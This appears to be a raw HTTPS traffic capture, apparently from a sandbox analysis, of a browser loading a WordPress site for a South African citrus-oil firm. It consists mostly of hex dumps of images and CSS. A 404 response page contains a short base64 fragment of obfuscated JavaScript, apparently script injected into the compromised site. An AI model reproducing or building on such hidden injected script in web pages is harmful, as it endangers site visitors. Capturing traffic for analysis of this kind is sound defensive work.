2025-03-17 12:02:30 UTC	8000	IN	Data Raw: 8e bc f6 a2 db 77 5b 55 3b 8e 51 6c 39 1d f1 7f d5 a9 1f c6 dd 59 d2 3b bd 17 f7 cf fe 51 34 92 49 e7 ab a5 16 2e ac 5a b1 18 18 7b 25 26 b7 74 a2 cf 13 12 f5 5b 7a ca 97 1b 90 9f a4 14 1f 9d b6 7d 91 8b ff 00 ea cd 10 f7 d3 33 48 c3 f7 96 57 d1 ea af 22 ca d3 e4 7d 08 f6 f9 14 9f 23 68 bf 86 7c 8f a2 fe 19 f2 3e 82 2d c7 c8 24 af a3 d2 1c 81 55 9a 50 3f 74 4d 0d bb dc cd 23 c9 2f fb 3c a6 d1 f4 2b f3 05 63 dd 15 53 bc cd 30 77 24 a2 d5 3b e5 1a 54 e5 63 ec ca 35 fe 66 d1 9b 52 ac 59 8a 6e 9c 57 29 be 75 60 e3 13 0b 0d 32 e9 55 80 29 78 cd 5a b9 df 51 b7 f7 28 e0 27 5f cc eb 4e a9 f3 69 dd 4b 0b 89 41 53 6b 81 32 9d 87 2d 5c f5 f5 a6 7b 23 5e 48 33 a9 53 82 2c 16 a6 8b 61 db a8 7a 16 bd 88 10 67 78 a4 d9 6f 51 c7 48 f6 09 45 50 72 02 64 a0 5d a2 60 5e 03 Data Ascii: w[U;Ql9Y;Q4I.Z{%&t[z}3HW"}#h\|>-$UP?tM#/<+cS0w$;Tc5fRYnW)u`2U)xZQ('_NiKASk2-\{#^H3S,azgxoQHEPrd]`^
2025-03-17 12:02:30 UTC	1969	IN	Data Raw: 81 05 42 85 85 38 13 a2 00 12 77 46 46 a1 02 67 54 0a 9c a2 54 ce 52 10 6c 19 95 2a 56 20 a5 3f c6 e8 c8 4a a5 ab 87 92 07 ba 50 ce 93 90 3d d0 ac 9e 13 ee 9d a5 dd 50 6c ce 4b 01 fb 4a 70 2d 08 72 37 39 43 96 86 ae 38 f0 e4 98 1f ab 4a a4 da 98 3c 44 2c 15 bf a8 55 46 bc 38 cb c2 6f 88 e6 53 84 13 f2 f6 a7 99 0d 55 d9 8d 91 e7 32 8b b1 3c 91 a0 c9 be 81 58 1b 0c 7b b7 39 27 08 1e a5 5a 88 35 de bb 32 3f 53 e7 84 dc fb 60 fd 5d 2a 6c 3d d9 87 14 79 0d 32 c3 df 11 94 aa 47 0b da ed 8a 69 c4 01 55 69 52 ab 21 da 8d b5 46 80 93 0e 5c 0f 35 c0 3f 72 05 0b 8d c3 59 56 da c0 b8 81 a0 47 39 41 4a 9b 84 a0 4f 51 74 19 4e 27 65 d4 a2 f9 10 4c a0 24 12 0d c1 a5 08 68 c9 49 52 6e 94 15 5a 74 8b 8b 89 20 c2 65 9e 23 bf 99 09 f4 cd 32 e6 92 98 d2 e6 11 b9 0a 93 29 34 Data Ascii: B8wFFgTTRlV ?JP=PlKJp-r79C8J<D,UF8oSU2<X{9'Z52?S`]l=y2GiUiR!F\5?rYVG9AJOQtN'eL$hIRnZt e#2)4

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:29 UTC	647	OUT	GET /wp-content/uploads/2020/07/Citrus-Oils-Teubes-Oils-South-Africa.jpg HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:30 UTC	263	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:30 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 18 Nov 2021 08:00:21 GMT ETag: "175fc-5d10b8cd6d3c1" Accept-Ranges: bytes Content-Length: 95740 Content-Type: image/jpeg
2025-03-17 12:02:30 UTC	7929	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 0b 08 08 0a 08 07 0b 0a 09 0a 0d 0c 0b 0d 11 1c 12 11 0f 0f 11 22 19 1a 14 1c 29 24 2b 2a 28 24 27 27 2d 32 40 37 2d 30 3d 30 27 27 38 4c 39 3d 43 45 48 49 48 2b 36 4f 55 4e 46 54 40 47 48 45 01 0c 0d 0d 11 0f 11 21 12 12 21 45 2e 27 2e 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 ff c2 00 11 08 01 60 06 30 03 01 22 00 02 11 01 03 11 01 ff c4 00 35 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 06 00 07 08 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 00 03 04 05 06 07 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 ee 33 e7 de 23 ba 13 5f cc c2 09 25 2c Data Ascii: JFIF")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHE!!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE`0"53#_%,
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: 42 54 bc ec 12 fa 30 f8 c8 9d 90 f0 32 19 e1 96 01 ea 3a ee 1b b4 e1 f7 df 20 af 65 65 91 dd 85 ab 5a 91 31 02 32 ca d3 9d 05 df 9e 21 3a f1 55 92 b1 7e 65 ce 52 32 c4 b4 18 0a 16 06 18 0b 3f 02 65 05 b1 c2 8f b4 0c 8d 95 4e eb ac c3 a3 e3 84 fa d7 02 eb 97 7d 68 df 99 0b 3c c1 18 b1 ae 29 32 29 a2 98 3a 9f 54 e1 7e 81 e5 fa e9 65 1b dc cd eb 59 91 55 64 44 15 24 0b d6 26 2d 6a a4 11 fd eb 16 d1 14 b6 7b c4 a2 c1 c1 6c ad 61 94 57 a0 f7 f1 b4 5e ae 23 87 fb 3f c5 ba 18 5a f7 9c df 86 1d c9 d2 ad 72 43 e8 58 b9 87 32 4d 49 0b 02 c8 7d be a7 19 ce 27 42 93 51 7a 34 7e 33 ed 21 e5 78 82 ca 34 05 b1 1a 18 75 df d3 77 ff 00 19 a6 5b ff 00 43 db e1 9d 5e 1d 1f 4e 9e 21 a6 9d a5 b1 1b b9 5b e2 7a ff 00 9b c1 c4 dc 73 d6 e5 de 6b 62 2e 36 a0 15 7c 5a 30 ac 4f 81 Data Ascii: BT02: eeZ12!:U~eR2?eN}h<)2):T~eYUdD$&-j{laW^#?ZrCX2MI}'BQz4~3!x4uw[C^N![zskb.6\|Z0O
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: a2 82 59 65 91 a9 19 ab 34 23 6a 67 02 2a 90 e6 0b 96 5e 47 8d bf b2 a4 00 bc e2 45 94 c8 af b1 6c e0 29 8c 45 e5 e3 e3 e1 f3 98 5a 1f 3e 1b 91 91 48 c7 60 c4 f3 27 66 ae 07 f1 8c 79 d6 40 d2 ac 2d ad 2d a4 bc 64 34 10 b6 cb 47 a0 0d 2d 7a 0a 14 95 2c 77 51 ab ab ec cf 2b bb 3b bb 7b ad ea dd fd 1e c6 67 b8 37 2d 27 4b 56 95 67 34 32 72 7c 72 a2 0d b5 68 c2 ce e6 58 e2 68 31 81 51 b3 cd e5 1c 62 46 97 02 a6 4e 26 c6 b9 be 45 de 92 99 0a b0 8c 54 6b 4a 45 0a ce a4 35 59 71 b0 5b 85 0b 58 fe 49 2e cd 24 9c 87 2c 58 90 72 bd 29 d4 c2 61 31 69 e5 1a ac 66 3c 29 eb 62 6b 21 78 ce 3a 28 25 90 b2 d6 05 39 23 19 7a 14 82 85 35 0a b7 91 93 95 e3 24 48 cc 93 ee 24 49 77 56 59 1a 4d 6b 52 31 a9 18 d7 18 65 64 b7 b8 e3 ef dd 31 fc 46 43 4a 94 3a bc 39 ce 73 91 d6 7a Data Ascii: Ye4#jg*^GEl)EZ>H`'fy@--d4G-z,wQ+;{g7-'KVg42r\|rhXh1QbFN&ETkJE5Yq[XI.$,Xr)a1if<)bk!x:(%9#z5$H$IwVYMkR1ed1FCJ:9sz
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: 93 ef b8 55 3c 51 92 a3 7c fc 53 34 71 94 20 1c 48 f5 5e aa 78 f9 aa 83 aa 53 86 6c 3e 2b 8e 6a 56 15 ec a2 b8 b9 35 b3 f5 90 10 6f 45 ce 4e 3d 6f 82 78 88 7a 7e 12 31 36 ea a5 a0 8b 2a ae 3b c1 ae fd 2a b6 1c 21 a0 0f 04 1d 4e 1d 4d a4 f7 b5 32 ad c6 19 3c 01 4c be f4 01 aa 76 95 59 75 57 41 3e 09 ed e9 35 c0 72 4a 3c 85 1e 4e e4 e6 f4 5c aa 67 8a ea a8 10 1e b6 80 23 9d 4f c5 8a 6e 8b ee e6 ef 78 a1 8b 7b 55 b3 39 9b cf a1 3f 99 33 0c b7 99 8e e7 ac a6 2f d9 72 b3 88 7e 4a a1 36 bc aa d8 64 68 aa b8 c0 c3 3c 31 5d 57 a4 61 d4 fe 2a a3 73 6a 23 aa 88 d1 0e cf 28 51 d6 5d e8 f1 5b b1 85 62 50 8b b2 43 68 a5 c0 e8 9d 48 de d0 85 ee b1 09 39 21 18 5b 96 a8 ba fa 37 24 5d 55 45 d4 9c d7 a7 24 84 6d c1 17 36 66 13 9a ec 33 64 5e e8 d5 63 a6 85 e4 78 a2 02 07 Data Ascii: U<Q\|S4q H^xSl>+jV5oEN=oxz~16;!NM2<LvYuWA>5rJ<N\g#Onx{U9?3/r~J6dh<1]Wa*sj#(Q][bPChH9![7$]UE$m6f3d^cx
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: 13 89 fe d3 fc a2 5d 02 b1 f8 a7 0f be a9 e8 53 bf 1d ff 00 15 fe 3d 43 ea 8c f4 aa 78 dd 7f 88 ef 8a 1a 54 2a 7e f0 af ac b2 20 a7 f1 29 c4 c8 cd 18 cd 49 e4 d5 4e 79 a2 54 fd 19 57 84 0a 3c 9c 33 5b fc 9f 57 4a 9c e6 64 ac 46 1b 99 45 a2 e8 e3 40 91 c5 42 94 30 c6 bc 8e c3 92 bc bd 5a 00 5a 95 f1 e5 b2 2f aa d1 de 80 a6 23 91 c5 cc a8 df 8a 83 bc ef 3c d0 d4 96 b1 7f bb f4 cb 69 03 99 4d 7b 09 c8 0c 81 cc a0 d2 20 49 37 81 e0 81 6d ac 5b 24 27 88 27 50 9d 69 5c 73 e2 80 2f 04 49 77 45 dd e8 b0 cb 9b 04 66 84 b9 bd 5c d4 ba 13 71 34 07 1b e6 9b 4c 91 8b 7e 20 29 dd 96 db 4e 2b 9a 61 33 f5 8e b4 f0 46 a3 a5 a4 b5 a3 54 04 b8 d4 2e 68 36 e2 53 83 65 d6 27 26 ea 9a f3 35 6a 61 23 22 42 6e 32 71 62 ef 0d cd 07 61 d0 2a 8d 6e 16 61 09 d8 31 6f 67 12 9f 52 96 Data Ascii: ]S=CxT~ )INyTW<3[WJdFE@B0ZZ/#<iM{ I7m[$''Pi\s/IwEf\q4L~ )N+a3FT.h6Se'&5ja#"Bn2qbana1ogR
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: 6c ba c8 0d d6 b6 50 d2 2e ae be aa c4 71 cd 10 54 ad f0 ae 79 25 a4 e8 10 81 75 af a2 c3 4c f1 28 f2 42 2f a5 65 cd 99 d3 5e 4e 08 45 95 a3 25 aa 8e 52 d4 dd 42 61 eb 26 f6 9a 9a 13 75 29 bc 57 04 e7 72 dc 72 1a 15 c1 ea e4 57 38 c9 5c e1 e7 69 0d e5 56 9b 9d 8f 24 5a 09 73 ad c5 62 7e f3 89 6a 63 ea 35 ad e2 ba aa 3c 10 c2 dc 39 94 ea 81 8c 70 90 d3 91 e0 85 5a bc d3 1c 1b 37 ff 00 c2 73 1d 86 ab d9 4c 01 36 ba 6e 76 24 68 75 40 3c 40 21 a7 e0 a5 f1 87 37 74 93 69 d5 c5 51 92 dc 96 ce fb b2 9e 17 77 29 7e 23 66 f7 6a 83 4b 89 e9 77 68 ad bb 50 83 c5 54 7b 70 98 3f c2 a9 51 c0 38 16 b8 1c d7 33 51 e7 a4 66 1a 56 1a 98 39 cc 40 09 71 53 15 5e 37 74 1d ea 0a 6e cf 45 dc 74 45 ee 2e 39 9e 48 32 8e 02 e2 eb 95 2e 0c c5 e2 80 70 97 58 26 f4 9d 99 43 15 a6 10 Data Ascii: lP.qTy%uL(B/e^NE%RBa&u)WrrW8\iV$Zsb~jc5<9pZ7sL6nv$hu@<@!7tiQw)~#fjKwhPT{p?Q83QfV9@qS^7tnEtE.9H2.pX&C
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: 33 03 cb 4f c7 71 4c 25 c5 8d 53 2c b4 bd cd bc 43 01 94 55 0f d4 1b a3 c9 56 59 8f 50 c6 d3 21 59 cc 2d 22 79 17 dc 74 84 ad 96 d7 b9 91 3f 60 d1 19 9b 2e f7 50 be 8b 82 e1 ac 0e d1 d4 46 9e 45 b6 5c 5a dd 6d d3 fb 11 f3 b1 dd 19 89 5c 7d 11 af 30 6b 33 69 2b ac 14 16 32 76 bf 99 45 55 df e2 09 bb 0f 46 67 2a a7 dc a1 e1 c6 65 94 1d de 29 cc dd a7 79 b2 0b d3 03 c1 74 c6 eb 3e cb 9e b3 c3 70 d0 1a ec 8b 81 53 91 4c 46 89 75 b5 19 c0 29 e4 b4 dc c1 85 5a 72 7d ca 8b 1a 74 6e 03 75 a5 99 95 71 8b c5 ad 17 1c 8d 9a 53 ef f0 62 68 bf 0c c5 82 84 76 5f c4 7c bf 80 20 ac 15 7f fb 13 a9 2b 34 a8 13 45 f6 83 1a 7b 6d b9 4f 4f c3 fe cd 9b 17 da ff 00 b2 f0 5a 9e 73 13 97 7a ff 00 f6 64 8f fe fe 65 3b 6a ef 41 f9 9d be 74 c5 85 10 f3 ff 00 52 f9 af fe 77 0e 0d 51 Data Ascii: 3OqL%S,CUVYP!Y-"yt?`.PFE\Zm\}0k3i+2vEUFg*e)yt>pSLFu)Zr}tnuqSbhv_\| +4E{mOOZszde;jAtRwQ
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: ce 9c b1 86 43 c2 29 52 34 c4 f3 9c c0 58 35 f0 cc c4 da e9 c3 4b f5 1a 1a 5e d2 66 d0 ca f3 05 4e 98 f7 11 45 3d 6e aa 08 eb 15 a5 a9 4e cf 76 0d 54 73 45 4c 22 c2 c6 5c 72 b7 2d af 18 c3 0c 22 31 a5 37 10 47 86 d1 bc 91 46 a8 17 2c 1e d8 2f 5b 30 c9 7c 37 56 33 f7 2d e5 43 94 81 34 70 0c 19 86 10 23 a2 cf 98 65 0d a1 91 ee 27 11 03 2a 2e 0a 9b 05 b4 06 ef cc 26 e9 b6 68 e7 f3 10 42 ec 39 36 7c ca fb ad 85 c2 ff 00 11 ca 41 62 96 c2 ec 72 22 8f cc a9 44 e5 d9 fc 45 cd 52 f4 69 ea 1a 59 94 c0 cc 67 d3 0a b9 9d 08 ce 2e fc 90 26 c9 da c3 ea 2b 65 4d 82 6a 6e 2f a4 4b 0b 14 f3 63 f7 1a 19 cd e7 82 70 87 c3 c4 2e a4 7c dd c4 d8 2c 6a 82 ae 14 98 54 f4 b8 8a dd f9 c4 50 16 f0 84 70 b3 b8 c5 51 45 fd 8e 3d 0b c8 40 ea 95 64 6a b3 29 ca 5e 99 55 13 84 3f 88 d5 Data Ascii: C)R4X5K^fNE=nNvTsEL"\r-"17GF,/[0\|7V3-C4p#e'*.&hB96\|Abr"DERiYg.&+eMjn/Kcp.\|,jTPpQE=@dj)^U?
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: ee 78 b3 0c 6f 69 8a 23 ba ab fc 4b 6b 15 cd 90 47 db bf 10 f5 6a a6 0e 62 94 86 0e 52 b5 0c a7 1a 86 66 c3 89 92 1b 66 b9 85 73 53 df 99 71 6c c0 ed c4 4b cd 26 61 20 a7 1b f5 32 0c 35 34 78 8c 87 57 6c 16 8b b8 42 6c 7a d4 b5 b0 bc c4 0a 55 6d 9e 26 cd 6c cb c0 f3 15 ab 78 5f 64 ce 1c 44 4a be 21 bc b3 29 51 ca e6 49 ac a2 be 65 76 56 33 12 64 d8 b3 0b 80 dc 50 01 17 c9 5d b1 dc ca 3c f1 2f e5 dc a7 c5 78 21 4d a3 35 b4 8a e5 a5 7d 0d 7a 8e 70 a0 b5 f0 ec 78 89 5b 97 33 18 30 2e 25 9b 73 e9 35 13 45 81 7b cc c3 0b 6c 1f 1c c4 21 03 05 20 7f 70 6d da c6 7b 25 2a 97 a7 46 d4 4a 31 c4 79 09 9d 0e 2f 0a dc a6 a3 7c 1c 31 f5 b8 81 4b 00 b8 76 b8 e9 43 8d 38 62 88 0b d6 52 0d 53 9c fe 61 ca c3 ab 76 fc c0 b2 b5 6f 28 d4 68 b6 68 c4 a8 64 2c a1 e8 4c 6f 3c 59 Data Ascii: xoi#KkGjbRffsSqlK&a 254xWlBlzUm&lx_dDJ!)QIevV3dP]</x!M5}zpx[30.%s5E{l! pm{%*FJ1y/\|1KvC8bRSavo(hhd,Lo<Y
2025-03-17 12:02:30 UTC	8000	IN	Data Raw: f8 8d 31 45 00 61 1b cd ca 4d b5 e4 38 88 c2 c0 5c 2f ee 0b 5a a9 86 94 be 6e 09 64 d9 77 e3 72 99 43 45 64 d8 f7 34 94 28 f7 1c 4d 91 55 64 0f c4 08 d2 dc 22 15 07 30 99 d2 2b 25 4b 22 9e dc 42 ad af 0e e0 cf 35 e6 0e 92 82 81 c6 a0 ad 31 70 53 72 83 b7 5f 30 ce 04 0a b7 9f 99 ad 5b 5e e0 e3 05 76 d3 79 95 c2 51 84 7e a0 2a 00 ad de 51 06 0d 3a 68 27 dc 40 ca 27 21 b1 80 8a b5 02 82 2c eb d7 00 d7 c4 c9 42 37 b2 a0 a3 56 c3 cc 2f 3f df 12 7a e6 32 55 9b 1f a4 3a 20 68 05 04 5c 5b 8e 88 32 83 f3 04 56 00 17 fb 82 57 89 83 2e e3 68 b1 ac a0 86 aa 00 dd f1 10 4c ed b4 3f b3 1b 06 70 82 44 6b f0 c0 25 1d d6 21 9a c4 15 6b 1f 0d 54 22 87 cd c4 01 6f 4d ce 69 c9 ac cb 40 5c ea 56 08 cf 7b 97 64 b7 e3 68 05 de ca 94 d4 0e b6 ae af 59 f9 84 52 27 2c 53 16 e7 37 Data Ascii: 1EaM8\/ZndwrCEd4(MUd"0+%K"B51pSr_0[^vyQ~*Q:h'@'!,B7V/?z2U: h\[2VW.hL?pDk%!kT"oMi@\V{dhYR',S7

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:30 UTC	675	OUT	GET /proof/wp-content/uploads/2015/06/teubes1.png HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
2025-03-17 12:02:31 UTC	352	IN	HTTP/1.1 404 Not Found Date: Mon, 17 Mar 2025 12:02:30 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.teubes.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-17 12:02:31 UTC	7840	IN	Data Raw: 31 66 31 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 26 20 21 28 49 45 20 38 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d Data Ascii: 1f17<!DOCTYPE html>...[if IE 7]><html class="ie ie7" lang="en-GB"><![endif]-->...[if IE 8]><html class="ie ie8" lang="en-GB"><![endif]-->...[if !(IE 7) & !(IE 8)]>...><html lang="en-GB">...<![endif]--><head><meta charset="UTF-
2025-03-17 12:02:31 UTC	125	IN	Data Raw: 56 68 4b 53 77 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 4a 31 42 4b 52 30 64 71 4a 7a 6f 67 58 7a 42 34 4e 57 51 77 5a 6d 55 78 4b 44 42 34 5a 6a 51 70 4c 41 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 6e 59 31 52 4a 53 55 38 6e 4f 69 42 66 4d 48 67 31 5a 44 42 6d 5a 54 45 6f 4d 48 68 6d 4e 79 6b 67 4b 79 42 66 4d 48 67 31 5a 44 42 6d 5a 54 45 6f 4d 48 67 Data Ascii: VhKSwKICAgICAgICAgICAgJ1BKR0dqJzogXzB4NWQwZmUxKDB4ZjQpLAogICAgICAgICAgICAnY1RJSU8nOiBfMHg1ZDBmZTEoMHhmNykgKyBfMHg1ZDBmZTEoMHg
2025-03-17 12:02:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:30 UTC	599	OUT	GET /releases/v5.0.0/css/all.css HTTP/1.1 Host: use.fontawesome.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:30 UTC	949	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:30 GMT Content-Type: text/css Content-Length: 33407 Connection: close Accept-Ranges: bytes Cache-Control: max-age=31556926 etag: "e35d9c4ebaea0573df8e4a9505b72eea" Last-Modified: Fri, 22 Sep 2023 01:44:05 GMT Vary: Accept-Encoding Age: 1822474 cf-cache-status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uUL%2FHpl%2FMNrketiOuWqfRiq6tpkiSlOdev09cWZKs2Y6C5oI%2B2LetY4N7pptXYCEDQpLdRAhOS36O8oDaBCaeS3yC%2Bs%2FyE57WHuP0pTPStUQRx0cDX1XKcrjHTh44hqcpbZ8ZVDS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921c577c9ef7432c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1740&min_rtt=1734&rtt_var=662&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1171&delivery_rate=1638608&cwnd=179&unsent_bytes=0&cid=9f13161d47ebc20a&ts=152&x=0"
2025-03-17 12:02:30 UTC	420	IN	Data Raw: 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 30 2e 30 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2e 66 61 2c 2e 66 61 62 2c 2e 66 61 6c 2c 2e 66 61 72 2c 2e 66 61 73 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 Data Ascii: /! Font Awesome Free 5.0.0 by @fontawesome - http://fontawesome.com * License - http://fontawesome.com/license (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */.fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smooth
2025-03-17 12:02:30 UTC	1369	IN	Data Raw: 69 67 6e 3a 2d 2e 30 36 36 37 65 6d 7d 2e 66 61 2d 78 73 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 35 65 6d 7d 2e 66 61 2d 73 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 7d 2e 66 61 2d 31 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 2e 66 61 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 66 61 2d 33 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 65 6d 7d 2e 66 61 2d 34 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 65 6d 7d 2e 66 61 2d 35 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 35 65 6d 7d 2e 66 61 2d 36 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 36 65 6d 7d 2e 66 61 2d 37 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 37 65 6d 7d 2e 66 61 2d 38 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 65 6d 7d 2e 66 61 2d 39 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 39 65 6d 7d 2e 66 61 2d 31 30 Data Ascii: ign:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10
2025-03-17 12:02:30 UTC	1369	IN	Data Raw: 65 28 39 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 7d 2e 66 61 2d 72 6f 74 61 74 65 2d 31 38 30 7b 2d 6d 73 2d 66 69 6c 74 65 72 3a 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 32 29 22 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 7d 2e 66 61 2d 72 6f 74 61 74 65 2d 32 37 30 7b 2d 6d 73 2d 66 69 6c 74 65 72 3a 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f Data Ascii: e(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotatio
